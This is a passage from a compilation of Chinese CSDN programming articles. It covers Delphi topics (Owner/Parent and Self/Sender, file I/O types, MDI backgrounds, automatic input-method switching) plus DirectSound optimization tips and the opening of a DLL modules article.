every:=trunc(screen.Height/10)+1;
While list<=every do
begin
for r:=0 to 10 do begin
r1:=rect(0,r*every,screen.Width,R*every+list);
image2.Canvas.CopyRect(r1,image1.Canvas,r1);
end;
update;
Inc(list);
end;
end;
以后就可以在程序中需要的地方调用了。
下面就让我们看一下这是如何实现的，代码中RECT(X1,Y1,X2,Y2)
表示选定的矩形范围，(X1,Y1)是矩形左上角坐标，(X2,Y2)是矩形
右下角坐标。图形显示由COPYRECT(R1,CANVAS,R2)完成，其中R1是
目标区域，R2是被复制区域，CANVAS是被复制对象(它也可以是一个
TBITMAP的实例)。


CSDN_文档中心_Delphi中易混淆的概念

Delphi中易混淆的概念

林毅 (06/22/2000)

    一、Owner和Parent的区别：

    Parent属性是指构件的包容器，构件只能在此范围内显示和移动。举例子如下：

    (1)在Form1的窗体上，放一个Panel1,并将Panel1拉大，

    (2)在Panel1上放一Button1；

    (3)在Form1上放一Button2。

    现在如果移动Panel1,则Button1随着Panel1移动，这是因为Button1的Parent是Panel1。现在将Button2移到Panel1上，再次移动Panel1,Button2并不跟着移动，这是因为Button2的Parent是Form1。除在窗体设计中，应注意构件的Parent是谁外，在动态创建构件时，也应指出构件的Parent，如在上例中继续操作：

    1)Procedure Tform1.Button2click(Sender:Tobjet);

    2)Var

    3) Button:Tbutton;

    4) Begin

    5) Button:Tbutton.cerate(self);

    6) Button.parent=panel1;

    7) Button.lleft=0;

    8) Button.top=0;

    9) Button.caption:='OK';

    10) End；

    当按Button2时，将在Panel1上创建一个Button，而如果把第6句改为Button.parent:=self；按Button2时，将在Form1上创建一个Button了。如果将第6句删除，按Button2时，什么都不会发生，这是因为创建方法无法知道应在哪里显示构件。

    Owner属性是指构件的所有者，它负责构件的创建和释放。如在上例中，系统默认窗体上所有构件的所有者是窗体，而窗体的所有者是Application。顺便指出，create方法应带有表示构件所有者的参数，如在上例中，构件所有者是窗体，即self。

    Parent属性和Owner属性是运行阶段的属性，只能在运行阶段，通过代码设置。

    二、Self和Sender的区别：

    在事件处理程序参数表中，至少含有一个参数Sender,它代表触发事件处理程序的构件，如在上例中，Sender就指Button2，有了Sender参数，可以使多个构件共用相同的事件处理程序，如下例：

    Procedure Tform1.Buttonclick(Sender:Tobject);

    Begin

    If sender=button1 then

    Label1.caption:=′看庭前花开花落′　　Else Label2.caption:=′望天上云卷云舒′

    End；

    在此例中，Button1,Button2共用了Buttonclick事件处理程序。

    Self是指所编的程序范围是在哪一个类中，Delphi中大都在窗体范围内编程，因此，self即指窗体，如果在编写一个类或是一个组件，则self指该类或组件。我们在函数或过程的声明中可看出self是代表哪个组件，即self代表‘.’号之前的组件，如在第一个例子中，self代表Tform1。另外应注意，self只能用在类方法中，而不能用在过程或函数中，如下例用法是错的:Function a1(B:Integer):Integer;

    Begin

    ……

    Button:=tbutton.create(self)；……

    End；　　三、Clientheight和Height,Clientwidth和Width的区别：

    对于一般的构件而言，Height就是Clientheight,Width就是Clientwidth，而对于窗体而言，Height是包括标题条在内的高度，而Clientheight是指窗体工作区的高度。同理，Clientwidth是指定窗体工作区的宽度。

    从上面陈述可知，理解Ower和Parent,Self和Sender，Clientheight和Height,Clientwidth和Width区别，对于Delphi中正确编程是重要的。


CSDN_文档中心_Delphi中用于读写(I/O)的三种文件类型

Delphi中用于读写(I/O)的三种文件类型

一.旧pascal文件类型
用旧文件变量表示的文件类型,比如 F:text,F:File. 定义了三类:有类型,无类型,字符类型以及一些Delphi的文件操作函数.比如:AssignPrn,Writeln,这些文件类和Windows文件句柄不兼容

二.Windows文件句柄(handle)
面向对象的Pascal的文件句柄封装了Windows文件句柄类型,文件操作函数库则封装了Windows API函数,比如"Fileread"就是调用了Windows API 函数"ReadFile",Delphi提供了一个Windows API操作接口如果熟悉Windows API，可以用Windows文件句进行文件操作.

三.文件流(File Streams)
文件流是TFileStream类的对象实例,文件流是高层的文件操作类型,TFileStream提供了一个句柄属性.用此属性可操作Windows文件句柄类型.

如何选择文件类型

Windows文件句柄是较底层的文件操作类型,提供了灵活的同步及异步文件读写控制,以下提供用Windows文件句柄类型对文件同步及异步操作的伪代码描述:
同步操作:
bResult = ReadFile(hFile, &inBuffer, nBytesToRead, &nBytesRead, NULL) ;
// check for eof
if (bResult && nBytesRead == 0, ) {
// we're at the end of the file
}

异步操作:
// set up overlapped structure fields
gOverLapped.Offset = 0;
gOverLapped.OffsetHigh = 0;
gOverLapped.hEvent = NULL;

// attempt an asynchronous read operation
bResult = ReadFile(hFile, &inBuffer, nBytesToRead, &nBytesRead,
&gOverlapped) ;

// if there was a problem, or the async. operation's still pending ...
if (!bResult)
{
// deal with the error code
switch (dwError = GetLastError())

{
case ERROR_HANDLE_EOF:
{
// we're reached the end of the file
// during the call to ReadFile

// code to handle that
}

case ERROR_IO_PENDING:
{
// asynchronous i/o is still in progress

// do something else for a while
GoDoSomethingElse() ;

// check on the results of the asynchronous read
bResult = GetOverlappedResult(hFile, &gOverlapped,

&nBytesRead, FALSE) ;

// if there was a problem ...
if (!bResult)
{
// deal with the error code
switch (dwError = GetLastError())
{
case ERROR_HANDLE_EOF:
{
// we're reached the end of the file
file during asynchronous operation
}

// deal with other error cases

}
}
} // end case

// deal with other error cases

} // end switch
} // end if

虽然Windows文件句柄提供灵活的文件控制,但须编写更多的出错处理代码,如果对
WindowsAPI不熟悉,使用Delphi推荐的旧文件变量类型.

Delphi的旧文件类型使用AssignFile,使文件变量和物理文件关联,通过Delphi定义的
对文件变量的各种操作,完成文件的存取和操作.使用方便.以下提供对文件变量类
型的操作代码描述:
var

F: TextFile;
S: string;
begin
if OpenDialog1.Execute then { Display Open dialog box }
begin
AssignFile(F, OpenDialog1.FileName); { File selected in dialog box }
Reset(F);
Readln(F, S); { Read the first line out of the file }
Edit1.Text := S; { Put string in a TEdit control }
CloseFile(F);
end;
end;

文件流是流(stream classes)的子类,所以使用他的一个优点就是能自动继承其父类的属性他能很容易的和其他的流类互操作,比如你如果想把一块动态内存块写入磁盘,可以使用一个TFileStream和一个TMemoryStream来完成.


CSDN_文档中心_Delpi在MDI窗口中显示图形控件及指定背景的解决方案

在使用MDI介面时，有时候需要在MDI客户窗口中显示一些图形或软件封面，使得软件介面不会显得空旷，软件功能也能一目了然。然而在Delphi中并没有直接给出这些接口。在MDI窗体中放入任何图形控件在运行时都不能显示。因此需要对MDI窗体进行改造。
申明：
本方案仅针对MDI窗体，如果应用在非MDI窗体中，后果难说，你自已试试吧。
记住，窗体的FormStyle属性要设置为：fsMDIForm。
解决方案：
1. 在MDI主窗体中无法接收到MDI客户窗口的消息（Message），因此，需要自已定义客户窗口的处理过程（Window Procedure），并接管MDI客户窗口（需在重载的CreateWnd过程中实现）：
procedure TMDIForm.CreateWnd;
begin
inherited;
FNewWndProc := MakeObjectInstance(ClientWndProc);
FOldWndProc := Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
SetWindowLong(ClientHandle, GWL_WNDPROC, Longint(FNewWndProc));
end;
其中，ClientWndProc为自定义的窗口过程： procedure ClientWndProc(var Message: TMessage);
FOldWndProc用来存放旧的窗口过程的指针。
2. 实现自已的客户窗口过程：
procedure TMDIForm.ClientWndProc(var Message: TMessage);
var
R: TRECT;

procedure Default;
begin
with Message do
Result := CallWindowProc(FOldWndProc, ClientHandle, Msg, wParam, lParam);
end;
var
PS: TPaintStruct;
begin
R := ClientRect;
case Message.Msg of
WM_PAINT:
begin
BeginPaint(ClientHandle,PS);
try
Canvas.Lock;
try
Canvas.Handle := PS.hdc;
try
Paint;
if ControlCount > 0 then
PaintControls(PS.hdc,Controls[0]);
finally
Canvas.Handle := 0;
end;
finally
Canvas.Unlock;
end;
finally
EndPaint(ClientHandle,PS);
end;
end;
WM_ERASEBKGND:
begin
DrawBG(TWMEraseBkGnd(Message).DC);
Message.Result := 1;
end;
WM_VSCROLL,WM_HSCROLL:
begin
InvalidateRect(ClientHandle,@R,true);
Default;
end;
WM_SIZE:
begin
InvalidateRect(ClientHandle,@R,true);
Default;
end;
else
Default;
end;
end;
上面的DrawBG是用于画窗口背景的。
3. 实现窗口背景。
为了可以让继承者也能定义自已的背景，故此过程说明为virtual：
protected
procedure DrawBG(DC: HDC); virtual;
在此，DrawBG过程只是简单的填充窗口背景：
procedure TMDIForm.DrawBG(DC: HDC);
begin
if Brush.Color <> clNone then
FillRect(DC, ClientRect, Brush.Handle);
end;
4. 综上所述，总结TMDIFrom类定义如下：
TMDIForm = class(TForm)
private
FOldWndProc: TFarProc;
FNewWndProc: TFarProc;
procedure ClientWndProc(var Message: TMessage);
protected
procedure DrawBG(DC: HDC);virtual;
procedure CreateWnd; override;
end;
5. 经过以上改造后，就可以在DrawBG中画出指定的背景（需直接调用Windows 的GUI接口），或者直接使用图形控件，或者实现窗体的OnPaint事件，MDI窗口从此多姿多彩。


CSDN_文档中心_dephi 程序输入法根据用户的爱好自动切换的简便解决办法

用户往往希望我们的程序能根据用户使用输入法的不同，自动的将该输入中文地方自动切换成它们喜欢的输入法，该输入英文时自动切换成英文。本人也不知其它大虾是怎么解决，在下不才，提供了一个简便的解决办法。程序中需要加入本人的两个unit,UnitImeManager，UnitImeNameList程序中需要输入中文的地方，将相映控件的 imemode=imchinese需要英文的地方 imemode 采用默认值。在每个窗体里 create 事件里调用 UnitImeManager 中的 方法ChangeYouFormAllControlIme(frm); （frm 相应窗体的名称)。用户选择输入法可在程序合适的地方调用 UnitImeNameList 中的方法 FrmImeNameList.Show;

这样，只需要两个方法，就可以轻松搞定了！本人试图将其作成 com ，但 在 com 里实现不了。

谁需要的话，请 email wang517@21cn.com.


CSDN_文档中心_dephi 程序输入法中英文自动切换实现的源代码

现在将源代码公布出来，来谢谢大家的支持。本人水平有限，大家有什么号的灵感或建议，请 email wang517@21cn.com.多谢！！

原代码实现的思路：

提供一个列举系统所有输入法的窗体，供用户选择，将选择的中文输入法保存到系统注册表里。

提供一个方法 ChangeYouFormAllControlIme（form) ,form 是需要输入的窗体名称，枚举出相应窗体具有输入法的控件。

提供一个方法 JugeClassType(PClass:Tcontrol)，判断每一个控件的实际类型，根据其ImeMode（为了程序设计简便，当值 为imchinese 时，切换为用户选择的中文输入法 ，其它切换为英文)

下面是主要原代码：

//判断控件类型切换中英文这个只能具体判断，无法用 Twincontrol 笼统判别或概括

procedure JugeClassType(PClass:Tcontrol；
begin
if pclass is TEdit then
begin
if TEdit(pclass).ImeMode=imchinese then
TEdit(pclass).ImeName:=StrImeName （StrImeName 注册表保存的中文输入法名）同）
else
TEdit(pclass).ImeMode:=imClose;
exit;
end;
if pclass is TMemo then
begin
if TMemo(pclass).ImeMode=imchinese then
TMemo(pclass).ImeName:=StrImeName
else
TMemo(pclass).ImeMode:=imClose;
exit;
end;
if pclass is TComboBox then
begin
if TComboBox(pclass).ImeMode=imchinese then
TComboBox(pclass).ImeName:=StrImeName
else
TComboBox(pclass).ImeMode:=imClose;
exit;
end;
if pclass is TRichEdit then
begin
if TRichEdit(pclass).ImeMode=imchinese then
TRichEdit(pclass).ImeName:=StrImeName
else
TRichEdit(pclass).ImeMode:=imClose;
exit;
end;
if pclass is TDBGrid then
begin
if TDBGrid(pclass).ImeMode=imchinese then
TDBGrid(pclass).ImeName:=StrImeName
else
TDBGrid(pclass).ImeMode:=imClose;
exit;
end;
if pclass is TDBEdit then
begin
if TDBEdit(pclass).ImeMode=imchinese then
TDBEdit(pclass).ImeName:=StrImeName
else
TDBEdit(pclass).ImeMode:=imClose;
exit;
end;
if pclass is TDbMemo then
begin
if TDbMemo(pclass).ImeMode=imchinese then
TDbMemo(pclass).ImeName:=StrImeName
else
TDbMemo(pclass).ImeMode:=imClose;
exit;
end;
if pclass is TDbcombobox then
begin
if TDbcombobox(pclass).ImeMode=imchinese then
TDbcombobox(pclass).ImeName:=StrImeName
else
TDbcombobox(pclass).ImeMode:=imClose;
exit;
end;
if pclass is Tdblookupcombobox then
begin
if Tdblookupcombobox(pclass).ImeMode=imchinese then
Tdblookupcombobox(pclass).ImeName:=StrImeName
else
Tdblookupcombobox(pclass).ImeMode:=imClose;
exit;
end;
if pclass is Tdbrichedit then
begin
if Tdbrichedit(pclass).ImeMode=imchinese then
Tdbrichedit(pclass).ImeName:=StrImeName
else
Tdbrichedit(pclass).ImeMode:=imClose;
exit;
end;
if pclass is TMaskEdit then
begin
if TMaskEdit(pclass).ImeMode=imchinese then
TMaskEdit(pclass).ImeName:=StrImeName
else
TMaskEdit(pclass).ImeMode:=imClose;
exit;
end;
end;

//这个方法，您只需要在需要切换中英文的窗体 oncreate 事件里调用就可以了。YFormName，需要切换中英文的窗体。

Procedure ChangeYouFormAllControlIme(YFormName:TWinControl);
var
i:integer;
ChildControl:TControl;
Reg:TRegistry;
YouFormOrOTher:Twincontrol;
begin
YouFormOrOTher:=YFormName;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
try
if Reg.OpenKey('\Software\IMeCustom',false)=true then
StrImeName:=reg.ReadString('CustomIMeName');
finally
reg.CloseKey;
reg.Free;
end;
for i:=0 to YouFormOrOTher.ControlCount-1 do
begin
ChildControl:=YouFormOrOTher.Controls[i];
JugeClassType(ChildControl);
if ChildControl is TWinControl then ChangeYouFormAllControlIme(ChildControl as TWinControl);
end;
end;
end.

枚举输入法，并将用户的选择保存到注册表里，很简单，这个大家可以自己实现。例如

ListBox1.Items:=screen.Imes;


CSDN_文档中心_Dephi 程序输入法自动切换最简单最好用的实现方法(被程序员杂志采纳,重新详细整理)

前言:

当我们的软件交付用户使用时,特别涉及到大量的数据输入处理时,用户需要频繁的在中英文之间切换,而且用户使用的输入法也不同,有的是 五笔,有的是拼音等等.我们能否在软件中提供一个个性化的输入法选择?当用户选择自己喜欢的输入法时,程序中该输入中文的地方,全部自动切换为中文,该输入英文的地方自动切换为英文.

这个实现方法比较多,但多很麻烦,因此,虽然很多程序员可以实现,但都感到非常麻烦而放弃!下面是本人的一个非常简单和好用的解决方法.

解决思路:

程序员只需要将窗体中该输入中文的控件的 imemode=imchinese,然后在每个窗体里 create(或active) 事件里调用本人编写的方法ChangeYouFormAllControlIme(frm)即可.在程序中提供一个用户输入法选项供用户选择自己喜欢的输入法,调用显示FrmImeNameList 窗体即可!总之,程序员只需要调用 一个公用 unit(含有窗体的unit) 下的方法: ChangeYouFormAllControlIme(YFormName:TWinControl), 调用显示窗体 FrmImeNameList

实现方法: unit 名字 UnitImeManager 包含的窗体名字 FrmImeNameList

公用 unit的窗体界面 :

界面操作的代码:

procedure TFrmImeNameList.FormCreate(Sender: TObject); //列表框加载系统输入法

begin

ListBox1.Items:=screen.Imes;

end;

procedure TFrmImeNameList.BitBtn1Click(Sender: TObject);//保存用户选择的输入法存放到系统注册表里面

var

Reg:TRegistry;

CustImeName:string;

begin

reg:=TRegistry.Create;

reg.RootKey:=HKEY_LOCAL_MACHINE;

if ListBox1.ItemIndex<>-1 then

CustImeName:=ListBox1.Items[ListBox1.ItemIndex]

else

CustImeName:='中文 (简体) - 智能 ABC';

try

if Reg.OpenKey('\Software\IMeCustom', True) then Reg.WriteString('CustomIMeName',CustImeName);

finally

reg.CloseKey;

reg.Free;

end;

FrmImeNameList.Close;

end;

公用 unit的方法:

1 更改相应窗体中所有的控件的输入法

Procedure ChangeYouFormAllControlIme(YFormName:TWinControl); // 需要更改输入法的窗体名称

var

i:integer;

ChildControl:TControl;

Reg:TRegistry;

YouFormOrOTher:Twincontrol;

begin

YouFormOrOTher:=YFormName;

reg:=TRegistry.Create;

//读取注册表保存的用户选择的输入法,用单元全局变量 StrImeName 保存

reg.RootKey:=HKEY_LOCAL_MACHINE;

try

if Reg.OpenKey('\Software\IMeCustom',false)=true then

StrImeName:=reg.ReadString('CustomIMeName');

finally

reg.CloseKey;

reg.Free;

end;

//调用方法 JugeClassType(ChildControl) 更改窗体中控件的 ImeMode

for i:=0 to YouFormOrOTher.ControlCount-1 do

begin

ChildControl:=YouFormOrOTher.Controls[i];

JugeClassType(ChildControl);

//如果控件包含控件,更改被包含的控件

if ChildControl is TWinControl then ChangeYouFormAllControlIme(ChildControl as TWinControl);

end;

end;

2 判断控件类别,更改其 imemode 属性为用户选择的输入法

procedure JugeClassType(PClass:Tcontrol); //虽然麻烦,但必须具体判断,下面将 dephi 可更改的控件几乎都包含了,没有包含的是使用价值不大.

begin

if pclass is TEdit then //更改 Tedit 类控件 以下同理

begin

if TEdit(pclass).ImeMode=imchinese then

TEdit(pclass).ImeName:=StrImeName

else

TEdit(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TMemo then

begin

if TMemo(pclass).ImeMode=imchinese then

TMemo(pclass).ImeName:=StrImeName

else

TMemo(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TComboBox then

begin

if TComboBox(pclass).ImeMode=imchinese then

TComboBox(pclass).ImeName:=StrImeName

else

TComboBox(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TRichEdit then

begin

if TRichEdit(pclass).ImeMode=imchinese then

TRichEdit(pclass).ImeName:=StrImeName

else

TRichEdit(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TDBGrid then

begin

if TDBGrid(pclass).ImeMode=imchinese then

TDBGrid(pclass).ImeName:=StrImeName

else

TDBGrid(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TDBEdit then

begin

if TDBEdit(pclass).ImeMode=imchinese then

TDBEdit(pclass).ImeName:=StrImeName

else

TDBEdit(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TDbMemo then

begin

if TDbMemo(pclass).ImeMode=imchinese then

TDbMemo(pclass).ImeName:=StrImeName

else

TDbMemo(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TDbcombobox then

begin

if TDbcombobox(pclass).ImeMode=imchinese then

TDbcombobox(pclass).ImeName:=StrImeName

else

TDbcombobox(pclass).ImeMode:=imClose;

exit;

end;

if pclass is Tdblookupcombobox then

begin

if Tdblookupcombobox(pclass).ImeMode=imchinese then

Tdblookupcombobox(pclass).ImeName:=StrImeName

else

Tdblookupcombobox(pclass).ImeMode:=imClose;

exit;

end;

if pclass is Tdbrichedit then

begin

if Tdbrichedit(pclass).ImeMode=imchinese then

Tdbrichedit(pclass).ImeName:=StrImeName

else

Tdbrichedit(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TMaskEdit then

begin

if TMaskEdit(pclass).ImeMode=imchinese then

TMaskEdit(pclass).ImeName:=StrImeName

else

TMaskEdit(pclass).ImeMode:=imClose;

exit;

end;

end;


CSDN_文档中心_DirectX 优化声音特性

内容摘要
微软所提供开发工具包括一系列专为游戏和交互DircetX
DirectSound 以及 Direct3Dsound音频媒体的程序设计人员开发的
强有力的工具。DirectX充分利用了声音加速硬件以尽可能的提高其
运行速度，减少CPU的占用时间。但是，音频信号仍然对整个系统的
运行产生着重大影响。本文所描述的技术将帮助用户使用
DirectSound 以及Direct3DSound以减少音频重放对系统运行的影
响。
前 言
微软所提供的开发工具中DirectX 波形声音重放设备是为支持
在Windows 95 和Windows NT 中开发游戏和交互媒体应用程序而设
计的。 DirectSound 和 Direct3DSound允许你在同一个三维空间中
同时运行多个声音文件和移动声音源。只要有可能DirectX ，将充
分利用声音加速设备来改善运行状况和减少CPU的使用。但这并不是
说你可在三维程序空间运行、编译充斥着大量声音代码的程序，并
且随心所欲地将其移来移去。如果你并没有注意如何使用计算机的
声音资源你将很快发现，你的计算机的CPU周期绝大部分被你自己添
加的一个户外历险游戏的44.1khz，16位立体声的优美声音所占去。
技巧 和 技术
首先，我们来谈谈一些有关的定义。你所熟悉的DirectSound包
括以下一些术语：
从缓冲区：
是指用来执行波形数据的应用程序缓冲区。每个执行的波形文
件都有一个从缓冲区，每个这样的缓冲区都有自己特定的格式。
主缓冲区：
是DirectSound的输出缓冲区。一般说来，应用程序并非将波形
数据直接写入主缓冲区。相反，DirectSound首先在从缓冲区中将波
形数据加以合成，然后输入主缓冲区中。注意：仅有一个主缓冲
区，并且其格式决定了其输出格式。
静态缓冲区：
包含了内存中的一个完整的声音。因为，通过一次简单操作，
你能在缓冲区中写入一个完整的声音。所以，他们对于用户十分方
便。静态缓冲区通过声卡的合成加速执行。
流缓冲区：
仅仅为声音的一部分，利用它，我们并不需要大量的内存就能
运行较长的声音文件。在利用流缓冲区时，用户必须周期性的在声
音缓冲区中写入数据。但是，流缓冲区不能在硬件中进行声音合
成。
我们将再次提到 DirectSound 合成器。这种 DirectSound 元
件负责从缓冲区中将声音中按位隔行合成。然后执行诸如：音量大
小、均衡调节（左右声道平衡）、频率转换，以及三维操纵等操
作。当合成器不能识别你通过API存放的组件时（不同于上面所述的
任一控制操作），这正是 DirectSound 的 CPU 核心所要做的。一
些运行问题将在“ DirectSound 合成器发生了什么情况”的项目中
加以讨论。下面的关于合成器和主、从缓冲区之间关系的示意图，
将使读者清楚地了解他们之间的关系。
图通过一个简单的示意图阐明缓冲区和 DirectSound 合成器之
间的关系
如果 DirectSound 开发小组成员见到上面的示意图，他们将对
此不屑一顾。因为，合成器远比上图所展示的优秀。上图中，我并
没有任何与合成器相关的三维组件，以及其他类型的进程。
既然，我们获得的背景知识远比上面所述的多，我们将进一步
接触其他一系列对我们有用的东西。以下是帮助你最大限度的使用
DirectSound功能的一个技术列表。
1. 巧妙使用声音的技巧；
2. 在主缓冲区中使用相同的格式；
3. 将主缓冲区设置为最低存储速率的格式；
4. 在短促频繁的无声时间间隔内连续地使用主缓冲区；
5. 尽可能地使用硬件进行声音合成；
6. 最大限度的保证控制变换；
7. 使用延时的三维进程命令；

下面我们将对上面所述的各项技术作详细的说明。
一．巧妙使用声音的技巧
DirectSound的最为优秀的特征之一就是独立演奏、控制多声道
音频信号的能力。一旦声音的设计者真正地掌握了它们，那么，真
可以称得上是一本万利。唯一的花费只是CPU指令周期。每个你所使
用的从缓冲区都将消耗CPU指令周期。每一次诸如频率量化等的进程
操作都将带来CPU指令周期的额外消耗。三维声音将比常规声音消耗
更多的CPU指令周期。这些读者能够想象得到吗？
你应该同你的声音设计者坐下来一起探讨一下全方位地利用声
音演奏带来的强烈震撼（如果你自己本身就是程序员及声音设计
者，那么你就自己一个人静下心来仔细领略一下），思考一下究竟
是哪种声音在将你的渴望以久的经历传递给用户的过程中起着最为
重要的作用。当可能减少从缓冲区的使用时，请采用声音预混技
术。例如：如果你正在一个声道中模仿蟋蟀的低吟，而在另一个声
道中记录了田蛙的欢唱以烘托出夏夜的氛围时，请将它们合成到一
个声道中。
如果在你的脑海中有应用程序的初步方案，并且在以后将对其
进行折衷处理的时候，你应该对该进程进行相当程度的简化。但要
记住，想要设计出相当精练的实用声音程序，你需要长时间地字斟
句酌。Beatles的Sgt.Pepper's LonelyHearts Club Band 就是一个
有创意的伟大杰作。它被记录在一盘四声道盒式录音带中。与此形
成对照，现代的音频记录设备提供了至少四十八个声道，并能提供
真正的可用来进行实用合成的无限多声道的盒式录音带以及可利用
的MIDI序列发生器。
二．在主缓冲区中使用相同的数据格式
DirectSound合成器将每个从缓冲区中的数据转换为主缓冲区的
数据格式，这种数据的转换是在数据进入主缓冲区的合成过程中实
现的，它也将占用CPU周期。你可以在保证从缓冲区（例如波形文
件）和主缓冲区具有相同的数据格式的前提下消除这笔开销。事实
上，正是由于DirecSound的这种格式转换方式，你所要做的仅仅是
对比样例速率和声道数，即使样例速率（８位或１６位）存在一些
差别也没有关系，因为它唯一的后果只是降低主缓冲区的数据存取
速率。
到目前为止，大多数声卡都是ISA总线卡， 它通过DMA方式将声
音数据从系统内存移动到当地缓冲区中，处理器在进行内存读写之
前将被迫等待DMA的数据传输结束，这势必会影响到CPU的运行速
度。对于ISA总线声卡，上述的数据传送方式无疑将对系统的运行产
生不可回避的影响，但并不会对新型的３２位PCI卡产生任何影响。
对于DirectSound，DMA数据传输的影响直接关系到数据的输出
速率以及主缓冲区的访问速率。我曾听说过这样的趣事：在一台主
频为90Mhz的奔腾机上运行基本格式为44.1Khz，16位的立体声音乐
程序，DMA将占用多达30%的CPU指令周期！DMA数据传输正是影响
DirectSound运行的最大因素。值得庆幸的是，上述问题在你无法顺
利执行时非常容易处理。实验表明，减少数据存取速率的最好办法
是改变主缓冲区中的数据格式。这里的转换十分明显，运行改变了
声音的品质，要改变主缓冲区中的数据格式，只需调用方法
IDirectSoundBuffer::Setformat，但不要忘记：你的协作层设置成
DSSCL.PRIORITY或DSSCL_EXCLUSIVE，以避免主缓冲区的耗费。
三．在无声时间间隔中连续使用主缓冲区
DMA同时从另一个方面影响着系统的运行。当没有声音播放时，
DirectSound停止了合成器的工作和DMA的活动。如果你的程序中存
在着短促频繁的无声时间间隔，在每次声音播放时使合成随声音播
放时的间断而起起停停，将比你让合成器一直处于连续的工作状态
的情况更糟。在这种情况下，你可以在主缓冲区中强制性的调用方
法PLAY使合成器处于激活状态。这样，即使在没有声音播放时，合
成器也将连续工作。此时，为了恢复停止合成器的缺省方式，我们
可以在主缓冲区中调用方法STOP。
四．使用硬件进行声音合成
如果系统中装配了支持声卡的DirectSound驱动器，大多数声
卡都支持一定水平的硬件合成。下面的一段小窍门将允许你尽量使
用硬件合成。
在你进行硬件声音合成时使用静态缓冲区。DirectSound将试图
在静态缓冲中 进行声音合成。
为你用得最多的声音文件建立声音缓冲区（可用来进行声音硬
件合成的合成器是有一定的限度的。
在声音文件运行时，使用方法IDirectSound::GetCaps决定声音
加速硬件支持何种格式，并尽可能的采用这些格式（一些声卡只能
合成特定格式的声音文件。例如：SoundBlaster AWE32声卡只能合
成单16位格式的声音文件）。
当你调用CreatSoundBuffer建立从缓冲区时，你得建立静态缓
冲区，在结构DSBUFFERDESC的dwPlag区域设定DSBCAPS_LOCHARDWARE
标志。你也可以通过设定 DSBCAPS_LOCHARDWARE标志将缓冲区的数
据进行强制性的硬件合成。但是，硬件合成所要使用的资源不可用
时，CreatSoundBuffer就将出错。
方法IDirectSound::GetCaps为我们提供了关于声音加速能力
的详尽描述，这对于我们进行存取操作有很大的邦助。我们在其工
作时间内可以调用GetCaps，调整音频系统以最佳方式使用硬件资
源。在 DirectX 文档中查看结构 DSAPS和标志DSCAPS.dwFlags可使
我们准确了解到一些系统的有用信息。
五．最低限度的进行声音控制变换
在从合成器中改变均衡、音量或频率也将影响到应用程序的运
行。为了防止声音输出时的中断的产生，DirectSound合成器必须提
前20到100毫秒，甚至更多的时间进行声音合成。当你进行声音控制
变换时，合成器不得不刷新正在进行的声音合成的缓冲区的信息，
重新合成以适应适应的变化。比较好的方法是尽量减少送入系统的
控制改变次数。这在按流或群输入时显得尤为重要。同时，我们应
尽量减少日常的调用SetVolume、SetPn、SetFrequency的不连续操
作。例如：如果你进行帧同步的定期检测，需要将适应从左声道扬
声器移动到右声道扬声器时，你就应该每帧调用SetPan一次，而不
是每帧两次。
注意： 三维控制变换 （方向、位置、速度、多普勒因子等
等） 也将引起DirectSound合成器在其先前进行合成的缓冲区中重
新合成。但是，你也可以将一系列三维控制变换集合在一组中，这
将只使DirectSound合成器只进行一次重新合成。请仔细阅读以下关
于延时控制变换详细说明的章节。
六．使用延时三维进程命令
正如我在前面所说的那样，三维声音将比常规声音花费更多的
CPU指令周期。这是因为在每一个合成周期内，为计算出三维立体声
音效将占用更多的CPU指令周期。你应该尽可能地减少使用三维立体
声，最好不要使用那些并不对你真正有用的三维声音。这是通过实
践得出的在你运行程序时影响整个系统工作的另一因素。在设计你
的应用程序时，你应该尽早进行尝试，使其更加容易使声音具有或
没有三维效果。你也可以调用具有 DS3DMODE_DISABLE标志的方法
IDirectSound::SetMode，使得三维进程能够在三维缓冲区中运行。
改变三维声音缓冲区以及听众进行的诸如对方位、速度、多普
勒因子的操作，都将引起DirectSound合成器重新合成先前合成缓冲
区中的信息，当然，这将浪费一定的CPU指令周期。为了使三维设置
的改变对系统运行的影响降低到最小程度，你就应该使用延时三维
进程命令。这是DirectSound三维声音组件所特有的特征为了使用三
维延时进程命令，请设定每个三维设置变换
（SetPosition,SetVelocity等等）中的方法IDirect3DListener或
Direct3DSoundBuffer的dwApply 参数的DS3DMODE_DISABLE 标志，
并且将所有的这些变化制成一帧，随后，再调用
IDirect3DListener::CommitDeferredSettings去执行所有的延时命
令，在先前的合成缓冲区中进行一次重新合成。

结 论
我已经为读者罗列了一系列利用DirectX优化音频媒体的特殊工
具。我所能给予你的最好的建议是：设计你的支持运行、监视和音
量调节的音频子系统。毫无疑问，你必须保证你有充足的时间等待
你的程序的运行！如果你从一开始就将程序运行的协调性考虑进
去，这个任务将变得更加容易。


CSDN_文档中心_DLL 應用 - 設計可抽換的模組

DLL 應用 - 設計可抽換的模組

作者：蔡煥麟
日期：Jan-2-2001

摘要：介紹以 DLL 來切割應用程式的實作方式，其中包含介面程式設計的技巧以及運用 Design Patterns 來解決設計上的問題。

前言

DLL（Dynamic Link Library，動態聯結函式庫）就目前來講已經不是什麼了不得的技術，坊間書籍隨手撿一本視窗程式設計或 Delphi 的書籍都可以找到 DLL 的相關說明，少這一篇也不算少，之所以寫這篇文章，一方面是給自己的學習心得作個記錄，一方面也提供給有需要的人參考；而本文的主題－－設計動態載入的模組－－說穿了也只是提供一個把 Form 包在 DLL 裡面的實作方法，儘管如此，我還是希望你能在其中發現一些比較不一樣的東西。

由於現有關於 DLL 的文件資料已經很多，在此不多做重複，因此在閱讀本文時會需要一些 DLL 的基礎知識或者 DLL 的撰寫經驗，這樣閱讀起來會比較輕鬆。以下就重點式地列出一些基礎觀念：

  • 靜態連結與動態連結的差異。
  • 了解如何宣告 DLL 輸出函式（exported functions）以及如何在外部呼叫它們。
  • 各種呼叫慣例（calling conventions）的差異。
  • 何謂 DLL hell（1）以及它對應用程式的維護有何影響。

